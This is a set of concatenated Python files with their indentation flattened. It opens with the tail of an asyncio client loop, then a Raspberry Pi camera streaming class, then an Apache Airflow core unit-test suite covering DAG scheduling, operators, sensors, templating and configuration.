while True:
state = f"{random.randint(1, 60000)}"
def worker():
s = asyncio.new_event_loop()
s.run_until_complete(get_input())
s.run_forever()
threads = []
t = threading.Thread(target=worker)
threads.append(t)
t.start()
print("Main Module")
while True:
try:
asyncio.get_event_loop().run_until_complete(hello())
except Exception as e:
print("Main module cannot connect to the server. Trying again every 1 second.")
time.sleep(1)
|
camera.py
|
import time
import threading
import io
import picamera
try:
from greenlet import getcurrent as get_ident
except ImportError:
try:
from thread import get_ident
except ImportError:
from _thread import get_ident
class CameraEvent(object):
"""An Event-like class that signals all active clients when a new frame is
available.
"""
def __init__(self):
self.events = {}
def wait(self):
"""Invoked from each client's thread to wait for the next frame."""
ident = get_ident()
if ident not in self.events:
# this is a new client
# add an entry for it in the self.events dict
# each entry has two elements, a threading.Event() and a timestamp
self.events[ident] = [threading.Event(), time.time()]
return self.events[ident][0].wait()
def set(self):
"""Invoked by the camera thread when a new frame is available."""
now = time.time()
remove = None
for ident, event in self.events.items():
if not event[0].isSet():
# if this client's event is not set, then set it
# also update the last set timestamp to now
event[0].set()
event[1] = now
else:
# if the client's event is already set, it means the client
# did not process a previous frame
# if the event stays set for more than 5 seconds, then assume
# the client is gone and remove it
if now - event[1] > 5:
remove = ident
if remove:
del self.events[remove]
def clear(self):
"""Invoked from each client's thread after a frame was processed."""
self.events[get_ident()][0].clear()
class Camera(object):
resolution = "352x240"
framerate = 30
thread = None # background thread that reads frames from camera
frame = None # current frame is stored here by background thread
last_access = 0 # time of last client access to the camera
event = CameraEvent()
def __init__(self, resolution="352x240", framerate=30):
"""Start the background camera thread if it isn't running yet."""
Camera.resolution = resolution
Camera.framerate = framerate
if Camera.thread is None:
Camera.last_access = time.time()
# start background frame thread
Camera.thread = threading.Thread(target=self._thread)
Camera.thread.start()
# wait until frames are available
while self.get_frame() is None:
time.sleep(0)
def get_frame(self):
"""Return the current camera frame."""
Camera.last_access = time.time()
# wait for a signal from the camera thread
Camera.event.wait()
Camera.event.clear()
return Camera.frame
@staticmethod
def frames():
""""Generator that returns frames from the camera."""
with picamera.PiCamera() as camera:
# let camera warm up
time.sleep(2)
camera.resolution = Camera.resolution
camera.vflip = True
camera.hflip = True
stream = io.BytesIO()
for _ in camera.capture_continuous(stream, 'jpeg', use_video_port=True):
# return current frame
stream.seek(0)
yield stream.read()
# reset stream for next frame
stream.seek(0)
stream.truncate()
time.sleep(1.0 / Camera.framerate)
@classmethod
def _thread(cls):
"""Camera background thread."""
print('Starting camera thread.')
frames_iterator = cls.frames()
for frame in frames_iterator:
Camera.frame = frame
Camera.event.set() # send signal to clients
time.sleep(0)
# if there hasn't been any clients asking for frames in
# the last 10 seconds then stop the thread
if time.time() - Camera.last_access > 10:
frames_iterator.close()
print('Stopping camera thread due to inactivity.')
break
Camera.thread = None
|
core.py
|
# -*- coding: utf-8 -*-
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from __future__ import print_function
import bleach
import doctest
import json
import logging
import os
import re
import unittest
import multiprocessing
import mock
from numpy.testing import assert_array_almost_equal
import tempfile
from datetime import datetime, time, timedelta
from email.mime.multipart import MIMEMultipart
from email.mime.application import MIMEApplication
import signal
from six.moves.urllib.parse import urlencode
from time import sleep
import warnings
from dateutil.relativedelta import relativedelta
import sqlalchemy
from airflow import configuration
from airflow.executors import SequentialExecutor
from airflow.models import Variable
from tests.test_utils.fake_datetime import FakeDatetime
configuration.load_test_config()
from airflow import jobs, models, DAG, utils, macros, settings, exceptions
from airflow.models import BaseOperator
from airflow.operators.bash_operator import BashOperator
from airflow.operators.check_operator import CheckOperator, ValueCheckOperator
from airflow.operators.dagrun_operator import TriggerDagRunOperator
from airflow.operators.python_operator import PythonOperator
from airflow.operators.dummy_operator import DummyOperator
from airflow.operators.http_operator import SimpleHttpOperator
from airflow.operators import sensors
from airflow.hooks.base_hook import BaseHook
from airflow.hooks.sqlite_hook import SqliteHook
from airflow.bin import cli
from airflow.www import app as application
from airflow.settings import Session
from airflow.utils.state import State
from airflow.utils.dates import infer_time_unit, round_time, scale_time_units
from lxml import html
from airflow.exceptions import AirflowException
from airflow.configuration import AirflowConfigException, run_command
from jinja2.sandbox import SecurityError
from jinja2 import UndefinedError
import six
NUM_EXAMPLE_DAGS = 18
DEV_NULL = '/dev/null'
TEST_DAG_FOLDER = os.path.join(
os.path.dirname(os.path.realpath(__file__)), 'dags')
DEFAULT_DATE = datetime(2015, 1, 1)
DEFAULT_DATE_ISO = DEFAULT_DATE.isoformat()
DEFAULT_DATE_DS = DEFAULT_DATE_ISO[:10]
TEST_DAG_ID = 'unit_tests'
try:
import cPickle as pickle
except ImportError:
# Python 3
import pickle
def reset(dag_id=TEST_DAG_ID):
session = Session()
tis = session.query(models.TaskInstance).filter_by(dag_id=dag_id)
tis.delete()
session.commit()
session.close()
reset()
class OperatorSubclass(BaseOperator):
"""
An operator to test template substitution
"""
template_fields = ['some_templated_field']
def __init__(self, some_templated_field, *args, **kwargs):
super(OperatorSubclass, self).__init__(*args, **kwargs)
self.some_templated_field = some_templated_field
def execute(*args, **kwargs):
pass
class CoreTest(unittest.TestCase):
# These defaults make the test faster to run
default_scheduler_args = {"file_process_interval": 0,
"processor_poll_interval": 0.5,
"num_runs": 1}
def setUp(self):
configuration.load_test_config()
self.dagbag = models.DagBag(
dag_folder=DEV_NULL, include_examples=True)
self.args = {'owner': 'airflow', 'start_date': DEFAULT_DATE}
dag = DAG(TEST_DAG_ID, default_args=self.args)
self.dag = dag
self.dag_bash = self.dagbag.dags['example_bash_operator']
self.runme_0 = self.dag_bash.get_task('runme_0')
self.run_after_loop = self.dag_bash.get_task('run_after_loop')
self.run_this_last = self.dag_bash.get_task('run_this_last')
def test_schedule_dag_no_previous_runs(self):
"""
Tests scheduling a dag with no previous runs
"""
dag = DAG(TEST_DAG_ID + 'test_schedule_dag_no_previous_runs')
dag.add_task(models.BaseOperator(
task_id="faketastic",
owner='Also fake',
start_date=datetime(2015, 1, 2, 0, 0)))
dag_run = jobs.SchedulerJob(**self.default_scheduler_args).create_dag_run(dag)
self.assertIsNotNone(dag_run)
self.assertEqual(dag.dag_id, dag_run.dag_id)
self.assertIsNotNone(dag_run.run_id)
self.assertNotEqual('', dag_run.run_id)
self.assertEqual(datetime(2015, 1, 2, 0, 0), dag_run.execution_date, msg=
'dag_run.execution_date did not match expectation: {0}'
.format(dag_run.execution_date))
self.assertEqual(State.RUNNING, dag_run.state)
self.assertFalse(dag_run.external_trigger)
dag.clear()
def test_schedule_dag_fake_scheduled_previous(self):
"""
Test scheduling a dag where there is a prior DagRun
which has the same run_id as the next run should have
"""
delta = timedelta(hours=1)
dag = DAG(TEST_DAG_ID + 'test_schedule_dag_fake_scheduled_previous',
schedule_interval=delta,
start_date=DEFAULT_DATE)
dag.add_task(models.BaseOperator(
task_id="faketastic",
owner='Also fake',
start_date=DEFAULT_DATE))
scheduler = jobs.SchedulerJob(**self.default_scheduler_args)
dag.create_dagrun(run_id=models.DagRun.id_for_date(DEFAULT_DATE),
execution_date=DEFAULT_DATE,
state=State.SUCCESS,
external_trigger=True)
dag_run = scheduler.create_dag_run(dag)
self.assertIsNotNone(dag_run)
self.assertEqual(dag.dag_id, dag_run.dag_id)
self.assertIsNotNone(dag_run.run_id)
self.assertNotEqual('', dag_run.run_id)
self.assertEqual(DEFAULT_DATE + delta, dag_run.execution_date, msg=
'dag_run.execution_date did not match expectation: {0}'
.format(dag_run.execution_date))
self.assertEqual(State.RUNNING, dag_run.state)
self.assertFalse(dag_run.external_trigger)
def test_schedule_dag_once(self):
"""
Tests scheduling a dag scheduled for @once - should be scheduled the first time
it is called, and not scheduled the second.
"""
dag = DAG(TEST_DAG_ID + 'test_schedule_dag_once')
dag.schedule_interval = '@once'
dag.add_task(models.BaseOperator(
task_id="faketastic",
owner='Also fake',
start_date=datetime(2015, 1, 2, 0, 0)))
dag_run = jobs.SchedulerJob(**self.default_scheduler_args).create_dag_run(dag)
dag_run2 = jobs.SchedulerJob(**self.default_scheduler_args).create_dag_run(dag)
self.assertIsNotNone(dag_run)
self.assertIsNone(dag_run2)
dag.clear()
def test_fractional_seconds(self):
"""
Tests if fractional seconds are stored in the database
"""
dag = DAG(TEST_DAG_ID + 'test_fractional_seconds')
dag.schedule_interval = '@once'
dag.add_task(models.BaseOperator(
task_id="faketastic",
owner='Also fake',
start_date=datetime(2015, 1, 2, 0, 0)))
start_date = datetime.utcnow()
run = dag.create_dagrun(
run_id='test_' + start_date.isoformat(),
execution_date=start_date,
start_date=start_date,
state=State.RUNNING,
external_trigger=False
)
run.refresh_from_db()
self.assertEqual(start_date, run.execution_date,
"dag run execution_date loses precision")
self.assertEqual(start_date, run.start_date,
"dag run start_date loses precision ")
def test_schedule_dag_start_end_dates(self):
"""
Tests that an attempt to schedule a task after the Dag's end_date
does not succeed.
"""
delta = timedelta(hours=1)
runs = 3
start_date = DEFAULT_DATE
end_date = start_date + (runs - 1) * delta
dag = DAG(TEST_DAG_ID + 'test_schedule_dag_start_end_dates',
start_date=start_date,
end_date=end_date,
schedule_interval=delta)
dag.add_task(models.BaseOperator(task_id='faketastic',
owner='Also fake'))
# Create and schedule the dag runs
dag_runs = []
scheduler = jobs.SchedulerJob(**self.default_scheduler_args)
for i in range(runs):
dag_runs.append(scheduler.create_dag_run(dag))
additional_dag_run = scheduler.create_dag_run(dag)
for dag_run in dag_runs:
self.assertIsNotNone(dag_run)
self.assertIsNone(additional_dag_run)
@mock.patch('airflow.jobs.datetime', FakeDatetime)
def test_schedule_dag_no_end_date_up_to_today_only(self):
"""
Tests that a Dag created without an end_date can only be scheduled up
to and including the current datetime.
For example, if today is 2016-01-01 and we are scheduling from a
start_date of 2015-01-01, only jobs up to, but not including
2016-01-01 should be scheduled.
"""
from datetime import datetime
FakeDatetime.utcnow = classmethod(lambda cls: datetime(2016, 1, 1))
session = settings.Session()
delta = timedelta(days=1)
start_date = DEFAULT_DATE
runs = 365
dag = DAG(TEST_DAG_ID + 'test_schedule_dag_no_end_date_up_to_today_only',
start_date=start_date,
schedule_interval=delta)
dag.add_task(models.BaseOperator(task_id='faketastic',
owner='Also fake'))
dag_runs = []
scheduler = jobs.SchedulerJob(**self.default_scheduler_args)
for i in range(runs):
dag_run = scheduler.create_dag_run(dag)
dag_runs.append(dag_run)
# Mark the DagRun as complete
dag_run.state = State.SUCCESS
session.merge(dag_run)
session.commit()
# Attempt to schedule an additional dag run (for 2016-01-01)
additional_dag_run = scheduler.create_dag_run(dag)
for dag_run in dag_runs:
self.assertIsNotNone(dag_run)
self.assertIsNone(additional_dag_run)
def test_confirm_unittest_mod(self):
self.assertTrue(configuration.get('core', 'unit_test_mode'))
def test_pickling(self):
dp = self.dag.pickle()
self.assertEqual(dp.pickle.dag_id, self.dag.dag_id)
def test_rich_comparison_ops(self):
class DAGsubclass(DAG):
pass
dag_eq = DAG(TEST_DAG_ID, default_args=self.args)
dag_diff_load_time = DAG(TEST_DAG_ID, default_args=self.args)
dag_diff_name = DAG(TEST_DAG_ID + '_neq', default_args=self.args)
dag_subclass = DAGsubclass(TEST_DAG_ID, default_args=self.args)
dag_subclass_diff_name = DAGsubclass(
TEST_DAG_ID + '2', default_args=self.args)
for d in [dag_eq, dag_diff_name, dag_subclass, dag_subclass_diff_name]:
d.last_loaded = self.dag.last_loaded
# test identity equality
self.assertEqual(self.dag, self.dag)
# test dag (in)equality based on _comps
self.assertEqual(dag_eq, self.dag)
self.assertNotEqual(dag_diff_name, self.dag)
self.assertNotEqual(dag_diff_load_time, self.dag)
# test dag inequality based on type even if _comps happen to match
self.assertNotEqual(dag_subclass, self.dag)
# a dag should equal an unpickled version of itself
self.assertEqual(pickle.loads(pickle.dumps(self.dag)), self.dag)
# dags are ordered based on dag_id no matter what the type is
self.assertLess(self.dag, dag_diff_name)
self.assertGreater(self.dag, dag_diff_load_time)
self.assertLess(self.dag, dag_subclass_diff_name)
# greater than should have been created automatically by functools
self.assertGreater(dag_diff_name, self.dag)
# hashes are non-random and match equality
self.assertEqual(hash(self.dag), hash(self.dag))
self.assertEqual(hash(dag_eq), hash(self.dag))
self.assertNotEqual(hash(dag_diff_name), hash(self.dag))
self.assertNotEqual(hash(dag_subclass), hash(self.dag))
def test_time_sensor(self):
t = sensors.TimeSensor(
task_id='time_sensor_check',
target_time=time(0),
dag=self.dag)
t.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True)
def test_check_operators(self):
conn_id = "sqlite_default"
captainHook = BaseHook.get_hook(conn_id=conn_id)
captainHook.run("CREATE TABLE operator_test_table (a, b)")
captainHook.run("insert into operator_test_table values (1,2)")
t = CheckOperator(
task_id='check',
sql="select count(*) from operator_test_table",
conn_id=conn_id,
dag=self.dag)
t.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True)
t = ValueCheckOperator(
task_id='value_check',
pass_value=95,
tolerance=0.1,
conn_id=conn_id,
sql="SELECT 100",
dag=self.dag)
t.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True)
captainHook.run("drop table operator_test_table")
def test_clear_api(self):
task = self.dag_bash.tasks[0]
task.clear(
start_date=DEFAULT_DATE, end_date=DEFAULT_DATE,
upstream=True, downstream=True)
ti = models.TaskInstance(task=task, execution_date=DEFAULT_DATE)
ti.are_dependents_done()
def test_illegal_args(self):
"""
Tests that Operators reject illegal arguments
"""
with warnings.catch_warnings(record=True) as w:
t = BashOperator(
task_id='test_illegal_args',
bash_command='echo success',
dag=self.dag,
illegal_argument_1234='hello?')
self.assertTrue(
issubclass(w[0].category, PendingDeprecationWarning))
self.assertIn(
'Invalid arguments were passed to BashOperator.',
w[0].message.args[0])
def test_bash_operator(self):
t = BashOperator(
task_id='time_sensor_check',
bash_command="echo success",
dag=self.dag)
t.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True)
def test_bash_operator_multi_byte_output(self):
t = BashOperator(
task_id='test_multi_byte_bash_operator',
bash_command=u"echo \u2600",
dag=self.dag,
output_encoding='utf-8')
t.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True)
def test_bash_operator_kill(self):
import subprocess
import psutil
sleep_time = "100%d" % os.getpid()
t = BashOperator(
task_id='test_bash_operator_kill',
execution_timeout=timedelta(seconds=1),
bash_command="/bin/bash -c 'sleep %s'" % sleep_time,
dag=self.dag)
self.assertRaises(
exceptions.AirflowTaskTimeout,
t.run,
start_date=DEFAULT_DATE, end_date=DEFAULT_DATE)
sleep(2)
pid = -1
for proc in psutil.process_iter():
if proc.cmdline() == ['sleep', sleep_time]:
pid = proc.pid
if pid != -1:
os.kill(pid, signal.SIGTERM)
self.fail("BashOperator's subprocess still running after stopping on timeout!")
def test_trigger_dagrun(self):
def trigga(context, obj):
if True:
return obj
t = TriggerDagRunOperator(
task_id='test_trigger_dagrun',
trigger_dag_id='example_bash_operator',
python_callable=trigga,
dag=self.dag)
t.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True)
def test_dryrun(self):
t = BashOperator(
task_id='time_sensor_check',
bash_command="echo success",
dag=self.dag)
t.dry_run()
def test_sqlite(self):
import airflow.operators.sqlite_operator
t = airflow.operators.sqlite_operator.SqliteOperator(
task_id='time_sqlite',
sql="CREATE TABLE IF NOT EXISTS unitest (dummy VARCHAR(20))",
dag=self.dag)
t.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True)
def test_timedelta_sensor(self):
t = sensors.TimeDeltaSensor(
task_id='timedelta_sensor_check',
delta=timedelta(seconds=2),
dag=self.dag)
t.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True)
def test_external_task_sensor(self):
t = sensors.ExternalTaskSensor(
task_id='test_external_task_sensor_check',
external_dag_id=TEST_DAG_ID,
external_task_id='time_sensor_check',
dag=self.dag)
t.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True)
def test_external_task_sensor_delta(self):
t = sensors.ExternalTaskSensor(
task_id='test_external_task_sensor_check_delta',
external_dag_id=TEST_DAG_ID,
external_task_id='time_sensor_check',
execution_delta=timedelta(0),
allowed_states=['success'],
dag=self.dag)
t.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True)
def test_external_task_sensor_fn(self):
self.test_time_sensor()
# check that the execution_fn works
t = sensors.ExternalTaskSensor(
task_id='test_external_task_sensor_check_delta',
external_dag_id=TEST_DAG_ID,
external_task_id='time_sensor_check',
execution_date_fn=lambda dt: dt + timedelta(0),
allowed_states=['success'],
dag=self.dag)
t.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True)
# double check that the execution is being called by failing the test
t2 = sensors.ExternalTaskSensor(
task_id='test_external_task_sensor_check_delta',
external_dag_id=TEST_DAG_ID,
external_task_id='time_sensor_check',
execution_date_fn=lambda dt: dt + timedelta(days=1),
allowed_states=['success'],
timeout=1,
poke_interval=1,
dag=self.dag)
with self.assertRaises(exceptions.AirflowSensorTimeout):
t2.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True)
def test_external_task_sensor_error_delta_and_fn(self):
"""
Test that providing execution_delta and a function raises an error
"""
with self.assertRaises(ValueError):
t = sensors.ExternalTaskSensor(
task_id='test_external_task_sensor_check_delta',
external_dag_id=TEST_DAG_ID,
external_task_id='time_sensor_check',
execution_delta=timedelta(0),
execution_date_fn=lambda dt: dt,
allowed_states=['success'],
dag=self.dag)
def test_timeout(self):
t = PythonOperator(
task_id='test_timeout',
execution_timeout=timedelta(seconds=1),
python_callable=lambda: sleep(5),
dag=self.dag)
self.assertRaises(
exceptions.AirflowTaskTimeout,
t.run,
start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True)
def test_python_op(self):
def test_py_op(templates_dict, ds, **kwargs):
if not templates_dict['ds'] == ds:
raise Exception("failure")
t = PythonOperator(
task_id='test_py_op',
provide_context=True,
python_callable=test_py_op,
templates_dict={'ds': "{{ ds }}"},
dag=self.dag)
t.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True)
def test_complex_template(self):
def verify_templated_field(context):
self.assertEqual(context['ti'].task.some_templated_field['bar'][1], context['ds'])
t = OperatorSubclass(
task_id='test_complex_template',
some_templated_field={
'foo': '123',
'bar': ['baz', '{{ ds }}']
},
on_success_callback=verify_templated_field,
dag=self.dag)
t.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True)
def test_template_with_variable(self):
"""
Test the availability of variables in templates
"""
val = {
'success':False,
'test_value': 'a test value'
}
Variable.set("a_variable", val['test_value'])
def verify_templated_field(context):
self.assertEqual(context['ti'].task.some_templated_field,
val['test_value'])
val['success'] = True
t = OperatorSubclass(
task_id='test_complex_template',
some_templated_field='{{ var.value.a_variable }}',
on_success_callback=verify_templated_field,
dag=self.dag)
t.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True)
self.assertTrue(val['success'])
def test_template_with_json_variable(self):
"""
Test the availability of variables (serialized as JSON) in templates
"""
val = {
'success': False,
'test_value': {'foo': 'bar', 'obj': {'v1': 'yes', 'v2': 'no'}}
}
Variable.set("a_variable", val['test_value'], serialize_json=True)
def verify_templated_field(context):
self.assertEqual(context['ti'].task.some_templated_field,
val['test_value']['obj']['v2'])
val['success'] = True
t = OperatorSubclass(
task_id='test_complex_template',
some_templated_field='{{ var.json.a_variable.obj.v2 }}',
on_success_callback=verify_templated_field,
dag=self.dag)
t.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True)
self.assertTrue(val['success'])
def test_template_with_json_variable_as_value(self):
"""
Test the availability of variables (serialized as JSON) in templates, but
accessed as a value
"""
val = {
'success': False,
'test_value': {'foo': 'bar'}
}
Variable.set("a_variable", val['test_value'], serialize_json=True)
def verify_templated_field(context):
self.assertEqual(context['ti'].task.some_templated_field,
u'{"foo": "bar"}')
val['success'] = True
t = OperatorSubclass(
task_id='test_complex_template',
some_templated_field='{{ var.value.a_variable }}',
on_success_callback=verify_templated_field,
dag=self.dag)
t.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True)
self.assertTrue(val['success'])
def test_template_non_bool(self):
"""
Test templates can handle objects with no sense of truthiness
"""
class NonBoolObject(object):
def __len__(self):
return NotImplemented
def __bool__(self):
return NotImplemented
t = OperatorSubclass(
task_id='test_bad_template_obj',
some_templated_field=NonBoolObject(),
dag=self.dag)
t.resolve_template_files()
def test_import_examples(self):
self.assertEqual(len(self.dagbag.dags), NUM_EXAMPLE_DAGS)
def test_local_task_job(self):
TI = models.TaskInstance
ti = TI(
task=self.runme_0, execution_date=DEFAULT_DATE)
job = jobs.LocalTaskJob(task_instance=ti, ignore_ti_state=True)
job.run()
def test_raw_job(self):
TI = models.TaskInstance
ti = TI(
task=self.runme_0, execution_date=DEFAULT_DATE)
ti.dag = self.dag_bash
ti.run(ignore_ti_state=True)
def test_doctests(self):
modules = [utils, macros]
for mod in modules:
failed, tests = doctest.testmod(mod)
if failed:
raise Exception("Failed a doctest")
def test_variable_set_get_round_trip(self):
Variable.set("tested_var_set_id", "Monday morning breakfast")
self.assertEqual("Monday morning breakfast", Variable.get("tested_var_set_id"))
def test_variable_set_get_round_trip_json(self):
value = {"a": 17, "b": 47}
Variable.set("tested_var_set_id", value, serialize_json=True)
self.assertEqual(value, Variable.get("tested_var_set_id", deserialize_json=True))
def test_get_non_existing_var_should_return_default(self):
default_value = "some default val"
self.assertEqual(default_value, Variable.get("thisIdDoesNotExist",
default_var=default_value))
def test_get_non_existing_var_should_not_deserialize_json_default(self):
default_value = "}{ this is a non JSON default }{"
self.assertEqual(default_value, Variable.get("thisIdDoesNotExist",
default_var=default_value,
deserialize_json=True))
def test_variable_setdefault_round_trip(self):
key = "tested_var_setdefault_1_id"
value = "Monday morning breakfast in Paris"
Variable.setdefault(key, value)
self.assertEqual(value, Variable.get(key))
def test_variable_setdefault_round_trip_json(self):
key = "tested_var_setdefault_2_id"
value = {"city": 'Paris', "Hapiness": True}
Variable.setdefault(key, value, deserialize_json=True)
self.assertEqual(value, Variable.get(key, deserialize_json=True))
def test_variable_setdefault_existing_json(self):
key = "tested_var_setdefault_2_id"
value = {"city": 'Paris', "Hapiness": True}
Variable.set(key, value, serialize_json=True)
val = Variable.setdefault(key, value, deserialize_json=True)
# Check the returned value, and the stored value are handled correctly.
self.assertEqual(value, val)
self.assertEqual(value, Variable.get(key, deserialize_json=True))
def test_parameterized_config_gen(self):
cfg = configuration.parameterized_config(configuration.DEFAULT_CONFIG)
# making sure some basic building blocks are present:
self.assertIn("[core]", cfg)
self.assertIn("dags_folder", cfg)
self.assertIn("sql_alchemy_conn", cfg)
self.assertIn("fernet_key", cfg)
# making sure replacement actually happened
self.assertNotIn("{AIRFLOW_HOME}", cfg)
self.assertNotIn("{FERNET_KEY}", cfg)
def test_config_use_original_when_original_and_fallback_are_present(self):
self.assertTrue(configuration.has_option("core", "FERNET_KEY"))
self.assertFalse(configuration.has_option("core", "FERNET_KEY_CMD"))
FERNET_KEY = configuration.get('core', 'FERNET_KEY')
configuration.set("core", "FERNET_KEY_CMD", "printf HELLO")
FALLBACK_FERNET_KEY = configuration.get(
"core",
"FERNET_KEY"
)
self.assertEqual(FERNET_KEY, FALLBACK_FERNET_KEY)
# restore the conf back to the original state
configuration.remove_option("core", "FERNET_KEY_CMD")
def test_config_throw_error_when_original_and_fallback_is_absent(self):
self.assertTrue(configuration.has_option("core", "FERNET_KEY"))
self.assertFalse(configuration.has_option("core", "FERNET_KEY_CMD"))
FERNET_KEY = configuration.get("core", "FERNET_KEY")
configuration.remove_option("core", "FERNET_KEY")
with self.assertRaises(AirflowConfigException) as cm:
configuration.get("core", "FERNET_KEY")
exception = str(cm.exception)
message = "section/key [core/fernet_key] not found in config"
self.assertEqual(message, exception)
# restore the conf back to the original state
configuration.set("core", "FERNET_KEY", FERNET_KEY)
self.assertTrue(configuration.has_option("core", "FERNET_KEY"))
def test_config_override_original_when_non_empty_envvar_is_provided(self):
key = "AIRFLOW__CORE__FERNET_KEY"
value = "some value"
self.assertNotIn(key, os.environ)
os.environ[key] = value
FERNET_KEY = configuration.get('core', 'FERNET_KEY')
self.assertEqual(value, FERNET_KEY)
# restore the envvar back to the original state
del os.environ[key]
def test_config_override_original_when_empty_envvar_is_provided(self):
key = "AIRFLOW__CORE__FERNET_KEY"
value = ""
self.assertNotIn(key, os.environ)
os.environ[key] = value
FERNET_KEY = configuration.get('core', 'FERNET_KEY')
self.assertEqual(value, FERNET_KEY)
# restore the envvar back to the original state
del os.environ[key]
def test_round_time(self):
rt1 = round_time(datetime(2015, 1, 1, 6), timedelta(days=1))
self.assertEqual(datetime(2015, 1, 1, 0, 0), rt1)
rt2 = round_time(datetime(2015, 1, 2), relativedelta(months=1))
self.assertEqual(datetime(2015, 1, 1, 0, 0), rt2)
rt3 = round_time(datetime(2015, 9, 16, 0, 0), timedelta(1), datetime(
2015, 9, 14, 0, 0))
self.assertEqual(datetime(2015, 9, 16, 0, 0), rt3)
rt4 = round_time(datetime(2015, 9, 15, 0, 0), timedelta(1), datetime(
2015, 9, 14, 0, 0))
self.assertEqual(datetime(2015, 9, 15, 0, 0), rt4)
rt5 = round_time(datetime(2015, 9, 14, 0, 0), timedelta(1), datetime(
2015, 9, 14, 0, 0))
self.assertEqual(datetime(2015, 9, 14, 0, 0), rt5)
rt6 = round_time(datetime(2015, 9, 13, 0, 0), timedelta(1), datetime(
2015, 9, 14, 0, 0))
self.assertEqual(datetime(2015, 9, 14, 0, 0), rt6)
def test_infer_time_unit(self):
self.assertEqual('minutes', infer_time_unit([130, 5400, 10]))
self.assertEqual('seconds', infer_time_unit([110, 50, 10, 100]))
self.assertEqual('hours', infer_time_unit([100000, 50000, 10000, 20000]))
self.assertEqual('days', infer_time_unit([200000, 100000]))
def test_scale_time_units(self):
# use assert_almost_equal from numpy.testing since we are comparing
# floating point arrays
arr1 = scale_time_units([130, 5400, 10], 'minutes')
assert_array_almost_equal(arr1, [2.167, 90.0, 0.167], decimal=3)
arr2 = scale_time_units([110, 50, 10, 100], 'seconds')
assert_array_almost_equal(arr2, [110.0, 50.0, 10.0, 100.0], decimal=3)
arr3 = scale_time_units([100000, 50000, 10000, 20000], 'hours')
assert_array_almost_equal(arr3, [27.778, 13.889, 2.778, 5.556],
decimal=3)
arr4 = scale_time_units([200000, 100000], 'days')
assert_array_almost_equal(arr4, [2.315, 1.157], decimal=3)
def test_duplicate_dependencies(self):
regexp = "Dependency (.*)runme_0(.*)run_after_loop(.*) " \
"already registered"
with self.assertRaisesRegexp(AirflowException, regexp):
self.runme_0.set_downstream(self.run_after_loop)
with self.assertRaisesRegexp(AirflowException, regexp):
self.run_after_loop.set_upstream(self.runme_0)
def test_bad_trigger_rule(self):
with self.assertRaises(AirflowException):
DummyOperator(
task_id='test_bad_trigger',
trigger_rule="non_existant",
dag=self.dag)
def test_terminate_task(self):
"""If a task instance's db state get deleted, it should fail"""
TI = models.TaskInstance
dag = self.dagbag.dags.get('test_utils')
task = dag.task_dict.get('sleeps_forever')
ti = TI(task=task, execution_date=DEFAULT_DATE)
job = jobs.LocalTaskJob(
task_instance=ti, ignore_ti_state=True, executor=SequentialExecutor())
# Running task instance asynchronously
p = multiprocessing.Process(target=job.run)
p.start()
sleep(5)
settings.engine.dispose()
session = settings.Session()
ti.refresh_from_db(session=session)
# making sure it's actually running
self.assertEqual(State.RUNNING, ti.state)
ti = (
session.query(TI)
.filter_by(
dag_id=task.dag_id,
task_id=task.task_id,
execution_date=DEFAULT_DATE)
.one()
)
# deleting the instance should result in a failure
session.delete(ti)
session.commit()
# waiting for the async task to finish
p.join()
# making sure that the task ended up as failed
ti.refresh_from_db(session=session)
self.assertEqual(State.FAILED, ti.state)
session.close()
def test_task_fail_duration(self):
"""If a task fails, the duration should be recorded in TaskFail"""
p = BashOperator(
task_id='pass_sleepy',
bash_command='sleep 3',
dag=self.dag)
f = BashOperator(
task_id='fail_sleepy',
bash_command='sleep 5',
execution_timeout=timedelta(seconds=3),
retry_delay=timedelta(seconds=0),
dag=self.dag)
session = settings.Session()
try:
p.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True)
except:
pass
try:
f.run(start_date=DEFAULT_DATE, end_date=DEFAULT_DATE, ignore_ti_state=True)
except:
pass
p_fails = session.query(models.TaskFail).filter_by(
task_id='pass_sleepy',
dag_id=self.dag.dag_id,
execution_date=DEFAULT_DATE).all()
f_fails = session.query(models.TaskFail).filter_by(
task_id='fail_sleepy',
dag_id=self.dag.dag_id,
execution_date=DEFAULT_DATE).all()
print(f_fails)
self.assertEqual(0, len(p_fails))
self.assertEqual(1, len(f_fails))
# C
self.assertGreaterEqual(sum([f.duration for f in f_fails]), 3)
def test_dag_stats(self):
"""Correctly sets/dirties/cleans rows of DagStat table"""
session = settings.Session()
session.query(models.DagRun).delete()
session.query(models.DagStat).delete()
session.commit()
models.DagStat.update([], session=session)
run1 = self.dag_bash.create_dagrun(
run_id="run1",
execution_date=DEFAULT_DATE,
state=State.RUNNING)
models.DagStat.update([self.dag_bash.dag_id], session=session)
qry = session.query(models.DagStat).all()
self.assertEqual(3, len(qry))
